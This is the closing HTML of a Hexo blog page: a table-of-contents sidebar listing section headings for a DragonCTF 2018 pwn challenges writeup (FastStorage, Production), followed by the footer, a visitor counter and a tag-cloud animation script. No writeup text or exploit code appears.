        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#dragonctf-2018-pwn-challenges-writeup"><span class="toc-text">DragonCTF 2018 Pwn Challenges Writeup</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#faststorage"><span class="toc-text">FastStorage</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#logic"><span class="toc-text">Logic</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#strategy"><span class="toc-text">Strategy</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#exploit"><span class="toc-text">Exploit</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#production"><span class="toc-text">Production</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#intro"><span class="toc-text">Intro</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#assertions-твой-мать"><span class="toc-text">assertions, твой мать!</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#exploit-1"><span class="toc-text">Exploit</span></a></li></ol></li></ol></li></ol>
        
    </div>
</aside>
                
            </div>
        </div>
    </section>
    <footer class="main-footer">
    <div class="container">
        <div class="row">
        </div>
    </div>
</footer>
<a id="back-to-top" class="icon-btn hide">
    <i class="fa fa-chevron-up"></i>
</a>
    <div class="copyright">
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <div class="busuanzi">
    
    访问量:
    <strong id="busuanzi_value_site_pv">
        <i class="fa fa-spinner fa-spin"></i>
    </strong>
    &nbsp; | &nbsp;
    访客数:
    <strong id="busuanzi_value_site_uv">
        <i class="fa fa-spinner fa-spin"></i>
    </strong>
    
</div>
            </div>
            <div class="col-sm-12">
                <span>Copyright &copy;
                    2019
                </span> |
                <span>
                    Powered by <a href="//hexo.io" class="copyright-links" target="_blank" rel="nofollow">Hexo</a>
                </span> |
                <span>
                    Theme by <a href="//github.com/shenliyang/hexo-theme-snippet.git" class="copyright-links" target="_blank" rel="nofollow">Snippet</a>
                </span>
            </div>
        </div>
    </div>
</div>


<script src="/assets/tagcanvas.min.js?rev=2.9"></script>
<script>
var tagOption = {
    textColour: '#444', // 字体颜色
    outlineMethod: 'block', // 选中模式
    outlineColour: '#FFDAB9', // 选中模式的颜色
    interval: 30 || 30, // 动画帧之间的时间间隔，值越大，转动幅度越大
    textHeight: 13,
    outlineRadius: 3,
    freezeActive: true || '', // 选中的标签是否继续滚动
    frontSelect: true || '', // 不选标签云后部的标签
    initial: [0.1, -0.1],
    depth: 0.5,
    decel: 0.95,
    maxSpeed: 0.03,
    reverse: true || '', // 是否反向触发
    fadeIn: 500, // 进入动画时间
    wheelZoom: false || '' // 是否启用鼠标滚轮
}
TagCanvas.Start('tag-cloud-3d', '', tagOption);
</script>


<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<script src="/js/app.js?rev=@@hash"></script><!-- hexo-inject:begin --><!-- hexo-inject:end -->
</body>
</html>